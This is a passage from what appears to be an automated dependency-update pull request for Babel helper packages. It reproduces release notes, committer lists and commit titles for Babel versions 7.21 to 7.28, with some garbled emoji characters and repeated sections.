--experimental-require-module(@nicolo-ribaudo)babel-helper-compilation-targets,babel-helper-plugin-utils,babel-preset-envbabel-plugin-proposal-destructuring-private,babel-plugin-syntax-decimal,babel-plugin-syntax-import-reflection,babel-standalone
- #16809 Archive syntax-import-reflection and syntax-decimal (@nicolo-ribaudo)
babel-generator
- #16779 Simplify logic for
[no LineTerminator here]before nodes (@nicolo-ribaudo)๐โโ๏ธ Performance
babel-plugin-transform-typescript
- #16875 perf: Avoid extra cloning of namespaces (@liuxingbaoyu)
babel-types
- #16842 perf: Improve @babel/types builders (@liuxingbaoyu)
- #16828 Only access
BABEL_TYPES_8_BREAKINGat startup (@nicolo-ribaudo)Committers: 8
- Babel Bot (@babel-bot)
- Dylan Piercey (@DylanPiercey)
- Huรกng Jรนnliร ng (@JLHwung)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
- coderaiser (@coderaiser)
- fisker Cheung (@fisker)
- hwook (@YuHyeonWook)
7.24.7
v7.24.7 (2024-06-05)
๐ Bug Fix
babel-node
- #16554 Allow extra flags in babel-node (@nicolo-ribaudo)
babel-traverse
- #16522 fix: incorrect
constantViolationswith destructuring (@liuxingbaoyu)babel-helper-transform-fixture-test-runner,babel-plugin-proposal-explicit-resource-management
- #16524 fix: Transform
usinginswitchcorrectly (@liuxingbaoyu)๐ Internal
babel-helpers,babel-runtime-corejs2,babel-runtime-corejs3,babel-runtime
- #16525 Delete unused array helpers (@blakewilson)
Committers: 7
- Amjad Yahia Robeen Hassan (@amjed-98)
- Babel Bot (@babel-bot)
- Blake Wilson (@blakewilson)
- Huรกng Jรนnliร ng (@JLHwung)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- Sukka (@SukkaW)
- @liuxingbaoyu
7.24.6
v7.24.6 (2024-05-24)
Thanks @amjed-98, @blakewilson, @coelhucas, and @SukkaW for your first PRs!
๐ Bug Fix
babel-helper-create-class-features-plugin,babel-plugin-transform-class-properties
- #16514 Fix source maps for private member expressions (@nicolo-ribaudo)
babel-core,babel-generator,babel-plugin-transform-modules-commonjs
- #16515 Fix source maps for template literals (@nicolo-ribaudo)
babel-helper-create-class-features-plugin,babel-plugin-proposal-decoratorsbabel-helpers,babel-plugin-proposal-decorators,babel-runtime-corejs3babel-parser,babel-plugin-transform-typescript
- #16476 fix: Correctly parse
cls.fn<C> = x(@liuxingbaoyu)๐ Internal
babel-core,babel-helpers,babel-plugin-transform-runtime,babel-preset-env,babel-runtime-corejs2,babel-runtime-corejs3,babel-runtime
- #16501 Generate helper metadata at build time (@nicolo-ribaudo)
babel-helpers
- #16499 Add
tsconfig.jsonfor@babel/helpers/src/helpers(@nicolo-ribaudo)babel-cli,babel-helpers,babel-plugin-external-helpers,babel-plugin-proposal-decorators,babel-plugin-transform-class-properties,babel-plugin-transform-modules-commonjs,babel-plugin-transform-modules-systemjs,babel-plugin-transform-runtime,babel-preset-env,babel-runtime-corejs2,babel-runtime-corejs3,babel-runtime
- #16495 Move all runtime helpers to individual files (@nicolo-ribaudo)
babel-parser,babel-traverse
- #16482 Statically generate boilerplate for bitfield accessors (@nicolo-ribaudo)
- Other
Committers: 9
- Amjad Yahia Robeen Hassan (@amjed-98)
- Babel Bot (@babel-bot)
- Blake Wilson (@blakewilson)
- Huรกng Jรนnliร ng (@JLHwung)
- Lucas Coelho (@coelhucas)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- Sukka (@SukkaW)
- Zzzen (@Zzzen)
- @liuxingbaoyu
7.24.3
v7.24.3 (2024-03-20)
๐ Bug Fix
babel-helper-module-imports
- #16370 fix: do not inject the same imported identifier multiple times (@ota-meshi)
Committers: 2
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- Yosuke Ota (@ota-meshi)
7.24.1
v7.24.1 (2024-03-19)
๐ Bug Fix
babel-helper-create-class-features-plugin,babel-plugin-proposal-decoratorsbabel-plugin-proposal-decorators,babel-plugin-proposal-json-modules,babel-plugin-transform-async-generator-functions,babel-plugin-transform-regenerator,babel-plugin-transform-runtime,babel-preset-env
- #16329 Respect
moduleNamefor@babel/runtime/regeneratorimports (@nicolo-ribaudo)babel-helper-create-class-features-plugin,babel-plugin-proposal-decorators,babel-plugin-proposal-pipeline-operator,babel-plugin-transform-class-propertiesbabel-helper-create-class-features-plugin,babel-helper-replace-supers,babel-plugin-proposal-decorators,babel-plugin-transform-class-properties๐ Documentation
- #16319 Update SECURITY.md (@nicolo-ribaudo)
๐ Internal
babel-code-frame,babel-highlight
- #16359 Replace
chalkwithpicocolors(@nicolo-ribaudo)babel-helper-fixtures,babel-helpers,babel-plugin-bugfix-safari-id-destructuring-collision-in-function-expression,babel-plugin-proposal-pipeline-operator,babel-plugin-transform-unicode-sets-regex,babel-preset-env,babel-preset-flowbabel-helper-module-imports,babel-plugin-proposal-import-wasm-source,babel-plugin-proposal-json-modules,babel-plugin-proposal-record-and-tuple,babel-plugin-transform-react-jsx-development,babel-plugin-transform-react-jsx
- #16349 Support merging imports in import injector (@nicolo-ribaudo)
- Other
- #16332 Test Babel 7 plugins compatibility with Babel 8 core (@nicolo-ribaudo)
๐ฌ Output optimization
babel-helper-replace-supers,babel-plugin-transform-class-properties,babel-plugin-transform-classes,babel-plugin-transform-parameters,babel-plugin-transform-runtime
- #16345 Optimize the use of
assertThisInitializedaftersuper()(@liuxingbaoyu)babel-plugin-transform-class-properties,babel-plugin-transform-classes
- #16343 Use simpler
assertThisInitializedmore often (@liuxingbaoyu)babel-plugin-proposal-decorators,babel-plugin-transform-class-properties,babel-plugin-transform-object-rest-spread,babel-traverse
- #16342 Consider well-known and registered symbols as literals (@nicolo-ribaudo)
babel-core,babel-plugin-external-helpers,babel-plugin-proposal-decorators,babel-plugin-proposal-function-bind,babel-plugin-transform-class-properties,babel-plugin-transform-classes,babel-plugin-transform-flow-comments,babel-plugin-transform-flow-strip-types,babel-plugin-transform-function-name,babel-plugin-transform-modules-systemjs,babel-plugin-transform-parameters,babel-plugin-transform-private-property-in-object,babel-plugin-transform-react-jsx,babel-plugin-transform-runtime,babel-plugin-transform-spread,babel-plugin-transform-typescript,babel-preset-env
- #16326 Reduce the use of class names (@liuxingbaoyu)
Committers: 4
- Babel Bot (@babel-bot)
- Huรกng Jรนnliร ng (@JLHwung)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
7.22.15
v7.22.15 (2023-09-04)
๐ Bug Fix
babel-core
- #15923 Only perform config loading re-entrancy check for cjs (@nicolo-ribaudo)
๐ Internal
- Every package
- #15892 Add explicit
.ts/.jsextension to all imports insrc(@nicolo-ribaudo)Committers: 4
- Babel Bot (@babel-bot)
- Huรกng Jรนnliร ng (@JLHwung)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
7.22.5
v7.22.5 (2023-06-08)
๐ Bug Fix
babel-preset-env,babel-standalone
- #15675 Fix using
syntax-unicode-sets-regexin standalone (@nicolo-ribaudo)
๐ Polish
babel-core
- #15683 Suggest
-transform-when resolving missing plugins (@nicolo-ribaudo)Committers: 4
- Avery (@nullableVoidPtr)
- Babel Bot (@babel-bot)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
7.21.4
v7.21.4 (2023-03-31)
๐ Bug Fix
babel-core,babel-helper-module-imports,babel-preset-typescript
- #15478 Fix support for
import/exportin.ctsfiles (@liuxingbaoyu)babel-generator
๐ Polish
babel-helper-create-class-features-plugin,babel-plugin-proposal-class-properties,babel-plugin-transform-typescript,babel-traverse
- #15427 Fix moving comments of removed nodes (@nicolo-ribaudo)
๐ Internal
- Other
babel-parserbabel-code-frame,babel-highlightCommitters: 6
- Babel Bot (@babel-bot)
- Huรกng Jรนnliร ng (@JLHwung)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- Ryan Tsao (@rtsao)
- @liuxingbaoyu
- fisker Cheung (@fisker)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 63 commits:
v7.27.1Bumped picocolors to 1.1.1 (#17279)Rebuild Makefile.mjs (#17275)Allow `using of` as lexical declaration within for (#17254)fix invalid gulp watch usage (#17273)Update actions/checkout action to v4 (#17269)[babel 8] Remove unnecessary CJS ESM wrapper (#17261)Remove unused `regenerator-runtime` dep in `@babel/runtime` (#17263)[babel 8] Drop CJS support from `@babel/parser` (#17265)Update Yarn to 4.9.1 (#17266)Update fixture (#17264)Update fixturefix: do expressions should allow early exit (#17137)Include Babel 8 in coverage report (#17260)Ignore browser-only files in coverage reports (#17262)Update test262 (#17259)Fix: propagate argument evaluation errors through async promise chain (#17251)Tune plugin compat data (#17256)chore: bump compat-data sources (#17253)[Babel 8] perf: Improve traverse performance (#16965)Update error stack test (#17252)Update test262 (#17248)[Babel 8]: Remove record and tuple syntax support (#17242)Update `jest-light-runner` to v0.7.0 (#17245)Fix build script on Windows (#17244)fix `apply()`/`call()` annotated as pure (#17231)Reduce `interopRequireWildcard` size (#16538)Fill optional AST properties when both estree and typescript parser plugin are enabled (Part 3) (#17235)Create ChainExpression within TSInstantiationExpression (#17233)Stricter TSImportType options parsing (#17193)migrate babel-compat-data build script to mjs (#17236)Update test262 (#17234)Bump typescript-eslint to 8.29.1 (#17232)Disallow get/set in TSPropertySignature (#17230)Use `class` and add type definitions for `regenerator` (#17220)Fill optional AST properties when both estree and typescript parser plugin are enabled (Part 2) (#17226)Fill optional AST properties when both estree and typescript parser plugin are enabled (Part 1) (#17224)Update firefox bugfix compat data (#17228)Migrate `@babel/register` to cts (#16844)test: add basic typescript-eslint integration tests (#17219)Harden variable declarator validations (#17217)Reduce generated names size for the 10th-11th (#17221)fix: Objects and arrays with multiple references should not be evaluated (#17156)Reduce `regeneratorRuntime` size (#17213)build(deps): bump @babel/helpers from 7.24.4 to 7.27.0 (#17218)Enforce node protocol import (#17207)Use esm for makefile js (#17214)add require-esm babel-register test (#17206)Fix: support const type parameter in generator (#17216)Babel 8 cleanup (#17211)Run tests imported from regenerator (#17205)Use imported regenerator transform files (#17205)Re-convert regeneratorRuntime to helper format (#17205)Delete remaining original regenerator files (#17205)Move regenerator files to the relevant packages (#17205)Remove bundled regeneratorRuntime helper (#17205)Prepare LICENSE files for incorporating regenerator (#17205)Merge remote-tracking branch 'regenerator/main'Update test262 (#17208)Fix start of TSParameterProperty (#17080)[Babel 8] Bump nodejs requirements to `^20.19.0 || >= 22.12.0` (#17204)[babel 8] Deprecate uppercase builders (#17133)Add v7.27.0 to CHANGELOG.md [skip ci]
โ๏ธ @โbabel/helper-module-transforms (indirect, 7.20.2 โ 7.28.3) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 21 commits:
v7.28.3fix(parser/typescript): parse `import("./a", {with:{},})` (#17465)chore: fix various typos across codebase (#17476)chore: fix typos in release.yml (#17475)fix(parser): stop subscript parsing on async arrow (#17478)chore: update node flags (#17477)build(Babel 8): disable JSON module transform (#17468)[babel 8] Add `@types/jsesc` as a dep of `@babel/generator` (#17459)Update test262 (#17462)Misc: Cleanup Babel 8 tasks (#17429)export PartialConfig and NormalizedOptions (#17470)chore: update browser compat libs (#17469)Type-check `.d.ts` file with `strict: true` (#17461)Enable type checking for `scripts` and `babel-worker.cjs` (#17454)Type check gulp&jest config (#17453)[static blocks] Do not inject new static fields after static code (#17443)Do not save last yield in call in temp var (#17363)Optimize do expression output (#17444)Update test262 (#17449)move eslint-{parser,plugin} docs to the website (#17448)Add v7.28.2 to CHANGELOG.md [skip ci]
โ๏ธ @โbabel/helper-plugin-utils (indirect, 7.20.2 โ 7.27.1) ยท Repo ยท Changelog
Release Notes
7.27.1
v7.27.1 (2025-04-30)
Thanks @kermanx and @woaitsAryan for your first PRs!
๐ Spec Compliance
babel-parserbabel-parser,babel-types๐ Bug Fix
babel-plugin-proposal-destructuring-private,babel-plugin-proposal-do-expressions,babel-traversebabel-helper-wrap-function,babel-plugin-transform-async-to-generator
- #17251 Fix: propagate argument evaluation errors through async promise chain (@magic-akari)
babel-helper-remap-async-to-generator,babel-plugin-transform-async-to-generatorbabel-helper-fixtures,babel-parserbabel-generator,babel-parserbabel-parserbabel-compat-data,babel-preset-envbabel-traverse
- #17156 fix: Objects and arrays with multiple references should not be evaluated (@liuxingbaoyu)
babel-generator๐ Polish
babel-plugin-bugfix-v8-spread-parameters-in-optional-chaining,babel-plugin-proposal-decorators,babel-plugin-transform-arrow-functions,babel-plugin-transform-class-properties,babel-plugin-transform-destructuring,babel-plugin-transform-object-rest-spread,babel-plugin-transform-optional-chaining,babel-plugin-transform-parameters,babel-traverse
- #17221 Reduce generated names size for the 10th-11th (@nicolo-ribaudo)
๐ Internal
babel-runtime-corejs2,babel-runtime-corejs3,babel-runtime
- #17263 Remove unused
regenerator-runtimedep in@babel/runtime(@nicolo-ribaudo)babel-compat-data,babel-preset-envbabel-compat-data,babel-standalonebabel-register
- #16844 Migrate
@babel/registerto cts (@liuxingbaoyu)babel-helpers,babel-plugin-transform-async-generator-functions,babel-plugin-transform-regenerator,babel-preset-env,babel-runtime-corejs3
- #17205 Inline regenerator in the relevant packages (@nicolo-ribaudo)
- All packages
๐ฌ Output optimization
babel-helpers,babel-plugin-transform-modules-commonjs,babel-runtime-corejs3
- #16538 Reduce
interopRequireWildcardsize (@liuxingbaoyu)babel-helpers,babel-plugin-transform-async-generator-functions,babel-plugin-transform-regenerator,babel-preset-env,babel-runtime-corejs3
- #17213 Reduce
regeneratorRuntimesize (@liuxingbaoyu)Committers: 9
- Aryan Bharti (@woaitsAryan)
- Babel Bot (@babel-bot)
- Frolov Roman (@Lacsw)
- Huรกng Jรนnliร ng (@JLHwung)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
- @magic-akari
- _Kerman (@kermanx)
- fisker Cheung (@fisker)
7.26.5
v7.26.5 (2025-01-10)
๐ Spec Compliance
babel-parser
- #17011 Allow the dynamic
import.defer()form ofimport defer(@babel-bot)๐ Bug Fix
babel-plugin-transform-block-scoped-functions
- #17024 chore: Avoid calling
isInStrictModein Babel 7 (@liuxingbaoyu)babel-plugin-transform-typescript
- #17026 fix: Correctly generate exported const enums in namespace (@liuxingbaoyu)
babel-parser
- #17045 [estree] Unify method type parameters handling (@JLHwung)
- #17013 fix: Correctly set position for
@(a.b)()(@liuxingbaoyu)- #16996 [estree] Adjust the start loc of class methods with type params (@nicolo-ribaudo)
babel-generator,babel-parser,babel-plugin-transform-flow-strip-types,babel-typesbabel-compat-data,babel-preset-env
- #17031 fix: More accurate
transform-typeof-symbolcompat data (@liuxingbaoyu)babel-generator,babel-parser,babel-types๐ฌ Output optimization
babel-plugin-transform-nullish-coalescing-operator
- #16612 Improve nullish coalescing operator output (@liuxingbaoyu)
Committers: 5
- Babel Bot (@babel-bot)
- Huรกng Jรนnliร ng (@JLHwung)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
- fisker Cheung (@fisker)
7.25.9
v7.25.9 (2024-10-22)
Thanks @victorenator for your first PR!
๐ Bug Fix
babel-parser,babel-template,babel-types
- #16905 fix: Keep type annotations in
syntacticPlaceholdersmode (@liuxingbaoyu)babel-helper-compilation-targets,babel-preset-env- Other
- #16884 Analyze
ClassAccessorPropertyto prevent theno-undefrule (@victorenator)๐ Internal
babel-helper-transform-fixture-test-runner- Every package
- #16917 fix: Accidentally published
tsconfigfiles (@liuxingbaoyu)๐โโ๏ธ Performance
babel-parser,babel-types
- #16918 perf: Make
VISITOR_KEYSetc. faster to access (@liuxingbaoyu)Committers: 4
- Babel Bot (@babel-bot)
- Huรกng Jรนnliร ng (@JLHwung)
- Viktar Vaลญฤkieviฤ (@victorenator)
- @liuxingbaoyu
7.25.7
v7.25.7 (2024-10-02)
Thanks @DylanPiercey and @YuHyeonWook for your first PRs!
๐ Bug Fix
babel-helper-validator-identifierbabel-traverse
- #16814 fix: issue with node path keys updated on unrelated paths (@DylanPiercey)
babel-plugin-transform-classes
- #16797 Use an inclusion rather than exclusion list for
super()check (@nicolo-ribaudo)babel-generator
- #16788 Fix printing of TS
inferin compact mode (@nicolo-ribaudo)- #16785 Print TS type annotations for destructuring in assignment pattern (@nicolo-ribaudo)
- #16778 Respect
[no LineTerminator here]after nodes (@nicolo-ribaudo)๐ Polish
babel-types
- #16852 Add deprecated JSDOC for fields (@liuxingbaoyu)
๐ Internal
babel-core
- #16820 Allow sync loading of ESM when
--experimental-require-module(@nicolo-ribaudo)babel-helper-compilation-targets,babel-helper-plugin-utils,babel-preset-envbabel-plugin-proposal-destructuring-private,babel-plugin-syntax-decimal,babel-plugin-syntax-import-reflection,babel-standalone
- #16809 Archive syntax-import-reflection and syntax-decimal (@nicolo-ribaudo)
babel-generator
- #16779 Simplify logic for
[no LineTerminator here]before nodes (@nicolo-ribaudo)๐โโ๏ธ Performance
babel-plugin-transform-typescript
- #16875 perf: Avoid extra cloning of namespaces (@liuxingbaoyu)
babel-types
- #16842 perf: Improve @babel/types builders (@liuxingbaoyu)
- #16828 Only access
BABEL_TYPES_8_BREAKINGat startup (@nicolo-ribaudo)Committers: 8
- Babel Bot (@babel-bot)
- Dylan Piercey (@DylanPiercey)
- Huรกng Jรนnliร ng (@JLHwung)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
- coderaiser (@coderaiser)
- fisker Cheung (@fisker)
- hwook (@YuHyeonWook)
7.24.8
v7.24.8 (2024-07-11)
Thanks @H0onnn, @jkup and @SreeXD for your first pull requests!
๐ Spec Compliance
babel-parser
- #16567 Do not use strict mode in TS
declare(@liuxingbaoyu)๐ Bug Fix
babel-generator
- #16630 Correctly print parens around
ininforheads (@nicolo-ribaudo)- #16626 Fix printing of comments in
await using(@nicolo-ribaudo)- #16591 fix typescript code generation for yield expression inside type expreโฆ (@SreeXD)
babel-parser
- #16613 Disallow destructuring assignment in
usingdeclarations (@H0onnn)- #16490 fix: do not add
.value: undefinedto regexp literals (@liuxingbaoyu)babel-types
- #16615 Remove boolean props from
ObjectTypeInternalSlotvisitor keys (@nicolo-ribaudo)babel-plugin-transform-typescript
- #16566 fix: Correctly handle
export import x =(@liuxingbaoyu)๐ Polish
babel-generator
- #16625 Avoid unnecessary parens around
asyncinfor await(@nicolo-ribaudo)babel-traverse
- #16619 Avoid checking
Scope.globalsmultiple times (@liuxingbaoyu)Committers: 9
- Amjad Yahia Robeen Hassan (@amjed-98)
- Babel Bot (@babel-bot)
- Huรกng Jรนnliร ng (@JLHwung)
- Jon Kuperman (@jkup)
- Nagendran N (@SreeXD)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- Sukka (@SukkaW)
- @H0onnn
- @liuxingbaoyu
7.24.7
v7.24.7 (2024-06-05)
๐ Bug Fix
babel-node
- #16554 Allow extra flags in babel-node (@nicolo-ribaudo)
babel-traverse
- #16522 fix: incorrect
constantViolationswith destructuring (@liuxingbaoyu)babel-helper-transform-fixture-test-runner,babel-plugin-proposal-explicit-resource-management
- #16524 fix: Transform
usinginswitchcorrectly (@liuxingbaoyu)๐ Internal
babel-helpers,babel-runtime-corejs2,babel-runtime-corejs3,babel-runtime
- #16525 Delete unused array helpers (@blakewilson)
Committers: 7
- Amjad Yahia Robeen Hassan (@amjed-98)
- Babel Bot (@babel-bot)
- Blake Wilson (@blakewilson)
- Huรกng Jรนnliร ng (@JLHwung)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- Sukka (@SukkaW)
- @liuxingbaoyu
7.24.6
v7.24.6 (2024-05-24)
Thanks @amjed-98, @blakewilson, @coelhucas, and @SukkaW for your first PRs!
๐ Bug Fix
babel-helper-create-class-features-plugin,babel-plugin-transform-class-properties
- #16514 Fix source maps for private member expressions (@nicolo-ribaudo)
babel-core,babel-generator,babel-plugin-transform-modules-commonjs
- #16515 Fix source maps for template literals (@nicolo-ribaudo)
babel-helper-create-class-features-plugin,babel-plugin-proposal-decoratorsbabel-helpers,babel-plugin-proposal-decorators,babel-runtime-corejs3babel-parser,babel-plugin-transform-typescript
- #16476 fix: Correctly parse
cls.fn<C> = x(@liuxingbaoyu)๐ Internal
babel-core,babel-helpers,babel-plugin-transform-runtime,babel-preset-env,babel-runtime-corejs2,babel-runtime-corejs3,babel-runtime
- #16501 Generate helper metadata at build time (@nicolo-ribaudo)
babel-helpers
- #16499 Add
tsconfig.jsonfor@babel/helpers/src/helpers(@nicolo-ribaudo)babel-cli,babel-helpers,babel-plugin-external-helpers,babel-plugin-proposal-decorators,babel-plugin-transform-class-properties,babel-plugin-transform-modules-commonjs,babel-plugin-transform-modules-systemjs,babel-plugin-transform-runtime,babel-preset-env,babel-runtime-corejs2,babel-runtime-corejs3,babel-runtime
- #16495 Move all runtime helpers to individual files (@nicolo-ribaudo)
babel-parser,babel-traverse
- #16482 Statically generate boilerplate for bitfield accessors (@nicolo-ribaudo)
- Other
Committers: 9
- Amjad Yahia Robeen Hassan (@amjed-98)
- Babel Bot (@babel-bot)
- Blake Wilson (@blakewilson)
- Huรกng Jรนnliร ng (@JLHwung)
- Lucas Coelho (@coelhucas)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- Sukka (@SukkaW)
- Zzzen (@Zzzen)
- @liuxingbaoyu
7.24.5
v7.24.5 (2024-04-29)
Thanks @romgrk and @sossost for your first PRs!
๐ Bug Fix
babel-plugin-transform-classes,babel-traverse
- #16377 fix: TypeScript annotation affects output (@liuxingbaoyu)
babel-helpers,babel-plugin-proposal-explicit-resource-management,babel-runtime-corejs3๐ Polish
๐ Internal
- Other
- #16414 Relax ESLint peerDependency constraint to allow v9 (@liuxingbaoyu)
babel-parser
- #16425 Improve
@babel/parserAST types (@nicolo-ribaudo)- #16417 Always pass type argument to
.startNode(@nicolo-ribaudo)babel-helper-create-class-features-plugin,babel-helper-member-expression-to-functions,babel-helper-module-transforms,babel-helper-split-export-declaration,babel-helper-wrap-function,babel-helpers,babel-plugin-bugfix-firefox-class-in-computed-class-key,babel-plugin-proposal-explicit-resource-management,babel-plugin-transform-block-scoping,babel-plugin-transform-destructuring,babel-plugin-transform-object-rest-spread,babel-plugin-transform-optional-chaining,babel-plugin-transform-parameters,babel-plugin-transform-private-property-in-object,babel-plugin-transform-react-jsx-self,babel-plugin-transform-typeof-symbol,babel-plugin-transform-typescript,babel-traverse
- #16439 Make
NodePath<T | U>distributive (@nicolo-ribaudo)babel-plugin-proposal-partial-application,babel-types
- #16421 Remove
JSXNamespacedNamefrom validCallExpressionargs (@nicolo-ribaudo)babel-plugin-transform-class-properties,babel-preset-env
- #16406 Do not load unnecessary Babel 7 syntax plugins in Babel 8 (@nicolo-ribaudo)
๐โโ๏ธ Performance
babel-helpers,babel-preset-env,babel-runtime-corejs3Committers: 6
- Babel Bot (@babel-bot)
- Huรกng Jรนnliร ng (@JLHwung)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- Rom Grk (@romgrk)
- @liuxingbaoyu
- ynnsuis (@sossost)
7.24.0
v7.24.0 (2024-02-28)
Thanks @ajihyf for your first PR!
Release post with summary and highlights: https://babeljs.io/7.24.0
๐ New Feature
babel-standalonebabel-core,babel-helper-create-class-features-plugin,babel-helpers,babel-plugin-transform-class-properties
- #16267 Implement
noUninitializedPrivateFieldAccessassumption (@nicolo-ribaudo)babel-helper-create-class-features-plugin,babel-helpers,babel-plugin-proposal-decorators,babel-plugin-proposal-pipeline-operator,babel-plugin-syntax-decorators,babel-plugin-transform-class-properties,babel-runtime-corejs2,babel-runtime-corejs3,babel-runtimebabel-preset-flow
- #16309 [babel 7] Allow setting
ignoreExtensionsin Flow preset (@nicolo-ribaudo)- #16284 Add
experimental_useHermesParseroption inpreset-flow(@liuxingbaoyu)babel-helper-import-to-platform-api,babel-plugin-proposal-import-wasm-source,babel-plugin-proposal-json-modules,babel-standalone
- #16172 Add transform support for JSON modules imports (@nicolo-ribaudo)
babel-plugin-transform-runtime
- #16241 Add back
moduleNameoption to@babel/plugin-transform-runtime(@nicolo-ribaudo)babel-parser,babel-types
- #16277 Allow import attributes for
TSImportType(@sosukesuzuki)๐ Bug Fix
babel-plugin-proposal-do-expressions,babel-traversebabel-helper-create-class-features-plugin,babel-plugin-transform-private-methods,babel-plugin-transform-private-property-in-object
- #16312 Fix class private properties when
privateFieldsAsSymbols(@liuxingbaoyu)babel-helper-create-class-features-plugin,babel-plugin-transform-private-methods
- #16307 Fix the support of
argumentsin privateget/setmethod (@liuxingbaoyu)babel-helper-create-class-features-plugin,babel-helpers,babel-plugin-proposal-decorators
- #16287 Reduce decorator static property size (@liuxingbaoyu)
babel-helper-create-class-features-plugin,babel-plugin-proposal-decorators
- #16281 Fix evaluation order of decorators with cached receiver (@nicolo-ribaudo)
- #16279 Fix decorator this memoization (@JLHwung)
- #16266 Preserve
staticon decorated privateaccessor(@nicolo-ribaudo)- #16258 fix: handle decorated async private method and generator (@JLHwung)
babel-helper-create-class-features-plugin,babel-plugin-proposal-decorators,babel-plugin-transform-async-generator-functions,babel-plugin-transform-private-methods,babel-plugin-transform-private-property-in-object,babel-plugin-transform-typescript,babel-preset-env
- #16275 Fix class private properties when
privateFieldsAsProperties(@liuxingbaoyu)babel-helpers
- #16268 Do not consider
argumentsin a helper as a global reference (@nicolo-ribaudo)babel-helpers,babel-plugin-proposal-decorators
- #16270 Handle symbol key class elements decoration (@JLHwung)
- #16265 Do not define
access.getfor public setter decorators (@nicolo-ribaudo)๐ Polish
babel-core,babel-helper-create-class-features-plugin,babel-preset-env
- #12428 Suggest using
BABEL_SHOW_CONFIG_FORfor config problems (@nicolo-ribaudo)๐ Internal
babel-helper-transform-fixture-test-runner
- #16278 Continue writing
output.jswhenexec.jsthrows (@liuxingbaoyu)๐ฌ Output optimization
babel-helper-create-class-features-plugin,babel-plugin-proposal-decorators
- #16306 Avoid intermediate functions for private accessors with decs (@nicolo-ribaudo)
babel-helper-create-class-features-plugin,babel-helpers,babel-plugin-proposal-decorators,babel-plugin-proposal-pipeline-operator,babel-plugin-transform-class-properties
- #16294 More aggressively inline decorators in the static block (@nicolo-ribaudo)
babel-helper-create-class-features-plugin,babel-helpers,babel-plugin-transform-private-methods
- #16283 Do not use
classPrivateMethodGet(@liuxingbaoyu)babel-helper-create-class-features-plugin,babel-helpers,babel-plugin-proposal-decorators
- #16287 Reduce decorator static property size (@liuxingbaoyu)
babel-helper-create-class-features-plugin,babel-plugin-proposal-decorators,babel-plugin-transform-class-propertiesbabel-helper-create-class-features-plugin,babel-helper-fixtures,babel-helpers,babel-plugin-bugfix-v8-spread-parameters-in-optional-chaining,babel-plugin-proposal-decorators,babel-plugin-proposal-destructuring-private,babel-plugin-proposal-optional-chaining-assign,babel-plugin-transform-class-properties,babel-plugin-transform-class-static-block,babel-plugin-transform-private-methods,babel-plugin-transform-private-property-in-object,babel-preset-env,babel-runtime-corejs2,babel-runtime-corejs3,babel-runtime
- #16261 Do not use descriptors for private class elements (@nicolo-ribaudo)
babel-helpers,babel-plugin-proposal-decorators
- #16263 Reduce helper size for decorator 2023-11 (@liuxingbaoyu)
Committers: 7
- Babel Bot (@babel-bot)
- Huรกng Jรนnliร ng (@JLHwung)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- SUZUKI Sosuke (@sosukesuzuki)
- Yarden Shoham (@yardenshoham)
- @liuxingbaoyu
- flyafly (@ajihyf)
7.22.5
v7.22.5 (2023-06-08)
๐ Bug Fix
babel-preset-env,babel-standalone
- #15675 Fix using
syntax-unicode-sets-regexin standalone (@nicolo-ribaudo)
๐ Polish
babel-core
- #15683 Suggest
-transform-when resolving missing plugins (@nicolo-ribaudo)Committers: 4
- Avery (@nullableVoidPtr)
- Babel Bot (@babel-bot)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
7.21.5
v7.21.5 (2023-04-28)
๐ Spec Compliance
babel-generator,babel-parser,babel-types
- #15539 fix: Remove
mixinsandimplementsforDeclareInterfaceandInterfaceDeclaration(@liuxingbaoyu)
๐ Bug Fix
babel-core,babel-generator,babel-plugin-transform-modules-commonjs,babel-plugin-transform-react-jsx
- #15515 fix:
)position withcreateParenthesizedExpressions(@liuxingbaoyu)babel-preset-env
๐ Polish
babel-types
- #15546 Improve the layout of generated validators (@liuxingbaoyu)
babel-core
- #15535 Use
ltinstead oflteto check TS version for .cts config (@nicolo-ribaudo)
๐ Internal
babel-core
- #15575 Use synchronous
import.meta.resolve(@nicolo-ribaudo)babel-helper-fixtures,babel-preset-typescriptbabel-helper-create-class-features-plugin,babel-helper-create-regexp-features-plugin
- #15548 Use
semverpackage to compare versions (@nicolo-ribaudo)Committers: 4
- Babel Bot (@babel-bot)
- Huรกng Jรนnliร ng (@JLHwung)
- Nicolรฒ Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 63 commits:
v7.27.1Bumped picocolors to 1.1.1 (#17279)Rebuild Makefile.mjs (#17275)Allow `using of` as lexical declaration within for (#17254)fix invalid gulp watch usage (#17273)Update actions/checkout action to v4 (#17269)[babel 8] Remove unnecessary CJS ESM wrapper (#17261)Remove unused `regenerator-runtime` dep in `@babel/runtime` (#17263)[babel 8] Drop CJS support from `@babel/parser` (#17265)Update Yarn to 4.9.1 (#17266)Update fixture (#17264)Update fixturefix: do expressions should allow early exit (#17137)Include Babel 8 in coverage report (#17260)Ignore browser-only files in coverage reports (#17262)Update test262 (#17259)Fix: propagate argument evaluation errors through async promise chain (#17251)Tune plugin compat data (#17256)chore: bump compat-data sources (#17253)[Babel 8] perf: Improve traverse performance (#16965)Update error stack test (#17252)Update test262 (#17248)[Babel 8]: Remove record and tuple syntax support (#17242)Update `jest-light-runner` to 